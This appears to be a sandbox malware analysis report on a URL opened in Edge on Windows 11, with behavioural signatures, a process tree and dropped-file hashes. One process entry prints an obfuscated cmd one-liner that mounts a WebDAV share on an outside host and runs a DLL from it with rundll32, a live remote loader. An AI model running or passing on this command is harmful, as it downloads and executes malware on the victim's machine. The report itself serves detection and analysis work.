Analysis

  • user interaction
    yes
  • max time kernel
    44s
  • max time network
    45s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    27/07/2026, 07:57

General

  • Target
    https://yopad.eu/p/temp124123-1day
  • Sample260727-jtk1kayclf
Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://yopad.eu/p/temp124123-1day
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:404
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2b4,0x7fff1c21c188,0x7fff1c21c194,0x7fff1c21c1a0
      2⤵
        PID:3652
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1816,i,159878577666602472,13048575202510807777,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:11
        2⤵
        • System Time Discovery
        PID:2912
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1556,i,5387961219008249738,2938779201965006314,262144 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=2144 /prefetch:2
        2⤵
          PID:1552
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2428,i,3919558468731922706,8491076392362716161,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=3092 /prefetch:13
          2⤵
            PID:4168
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3436,i,3281470862961874252,13670854585523059200,2097152 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
            2⤵
              PID:3912
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3440,i,18311297574840140210,9964490150829305711,2097152 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
              2⤵
                PID:3344
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4172,i,3840045829905760734,17126698555335207159,2097152 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=4168 /prefetch:1
                2⤵
                  PID:3936
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4188,i,13909171030645392815,5380235846551064552,2097152 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=4208 /prefetch:9
                  2⤵
                    PID:1684
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4248,i,13890741784449063056,15840131173062695063,2097152 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:1
                    2⤵
                      PID:4672
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4284,i,15045941185083742640,15491394045749118910,2097152 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:9
                      2⤵
                        PID:4988
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3636,i,12024380026859358935,7827531296834303975,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:14
                        2⤵
                          PID:1232
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5272,i,4403765566014861455,4107813874827187106,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14
                          2⤵
                            PID:2724
                          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,4575864884706303309,3486400020310646438,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
                            2⤵
                              PID:3020
                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,4575864884706303309,3486400020310646438,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
                              2⤵
                                PID:2816
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6192,i,7703623422493769813,1162718883670407866,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:14
                                2⤵
                                  PID:3440
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6412,i,5243111136212320682,17348954219116540751,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:14
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2756
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
                                    cookie_exporter.exe --cookie-json=1156
                                    3⤵
                                      PID:1344
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4476,i,6199661079308152429,12861497400307692474,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:14
                                    2⤵
                                      PID:2032
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3648,i,104182112553596668,12138015091530070049,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:14
                                      2⤵
                                        PID:4164
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4396,i,16126035064780055986,5515385274472354688,524288 --field-trial-handle=2148,i,17079636930552509445,8207291770676340459,262144 --variations-seed-version --mojo-platform-channel-handle=4448 /prefetch:14
                                        2⤵
                                          PID:4152
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                        1⤵
                                          PID:3824
                                        • C:\Windows\system32\conhost.exe
                                          "C:\Windows\system32\conhost.exe" --headless -- cmd /v:on /c "set s=@SSL&pu^shd \\hvzkdu.usa-us-metabodrops.com!s!\74642062-b04a-458e-bc6a-25cb556f50a6 & ru^ndl^l32 cbdtz.a7338c108eab-49bd8855-67c81f69d,#1"
                                          1⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:600
                                          • C:\Windows\system32\cmd.exe
                                            cmd /v:on /c "set s=@SSL&pu^shd \\hvzkdu.usa-us-metabodrops.com!s!\74642062-b04a-458e-bc6a-25cb556f50a6 & ru^ndl^l32 cbdtz.a7338c108eab-49bd8855-67c81f69d,#1"
                                            2⤵
                                            • Enumerates connected drives
                                            • Executes a command shell one-liner
                                            • Suspicious use of WriteProcessMemory
                                            PID:3492
                                            • C:\Windows\system32\rundll32.exe
                                              rundll32 cbdtz.a7338c108eab-49bd8855-67c81f69d,#1
                                              3⤵
                                                PID:3956

                                          Network

                                                MITRE ATT&CK Enterprise v16

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                blocklist

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
                                                • Size 105KB
                                                • SHA256 deae8ba3a07225fe9f1490e4968fd83f8d308707a88a6d3d541d8ab416841ddf
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                settings.dat

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                • Size 280B
                                                • SHA256 0b5dc1bf65a27f8ea20844919d7db192caf7a54fd791434a1304a7df2e9b496f
                                                • MD5 SHA1 SHA512 TLSH

                                                settings.dat

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                • Size 280B
                                                • SHA256 e3c932e879f8a7071362a654b47cd73c05f90d7fe66be785d811b84b86743e1b
                                                • MD5 SHA1 SHA512 TLSH

                                                BookmarkMergedSurfaceOrdering

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                                                • Size 6B
                                                • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                • MD5 SHA1 SHA512

                                                the-real-index

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                • Size 3KB
                                                • SHA256 466e0e19775648c4454c889fc4c46074a9185ea2deb6301b758e2aa97eb0c846
                                                • MD5 SHA1 SHA512 TLSH

                                                the-real-index

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                • Size 3KB
                                                • SHA256 b160740cc9f7b958f0e6c9023084a9be58f2f9d3c928dedbc953f613487ca15b
                                                • MD5 SHA1 SHA512 TLSH

                                                SiteList-Enterprise.json

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                • Size 2B
                                                • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                • MD5 SHA1 SHA512

                                                Edge Profile.ico

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                                • Size 70KB
                                                • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                Network Persistent State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                • Size 111B
                                                • SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
                                                • MD5 SHA1 SHA512 TLSH

                                                SCT Auditing Pending Reports

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                                                • Size 2B
                                                • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                • MD5 SHA1 SHA512

                                                Preferences

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                • Size 13KB
                                                • SHA256 b5bc69291a8bf51d26d4e41741e8b7c5107d70df12e4ffbe675bbba832044b95
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                Secure Preferences

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                • Size 31KB
                                                • SHA256 073083cab04fe7fddc18fa6faa5305d36c79365709ad90786687c4d7b649a995
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                sync_diagnostic.log

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                • Size 4KB
                                                • SHA256 071bdf6636bb26d14c87420b9d25159875af8b9ee84dfe6a6a3fc8301070b5d4
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                Local State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                • Size 11KB
                                                • SHA256 924cb5982bafb026852c400b67c4774cf81ae38f9d83ecd17099e5cded24f5a7
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                Local State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                • Size 20KB
                                                • SHA256 1b9ac3a466caac5ece3a1c9e1fac88bea62e902954fbb32dd7b5f88e73d78dc0
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                Local State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                • Size 20KB
                                                • SHA256 6883e5f8ab7fcaa0d7315e530a3f8bfcbd7b3bb5d66d94cace0223061f975e11
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                Local State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                • Size 8KB
                                                • SHA256 1cef205cc4496877e90a786b5fe2615e7d506da5a9812ac67494ab8a82de9afe
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                Local State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                • Size 8KB
                                                • SHA256 c1759c9428a9c5bd55e542191b9abe391ae26fdf24919cfcc036ed02152b90df
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                metadata.json

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
                                                • Size 13B
                                                • SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
                                                • MD5 SHA1 SHA512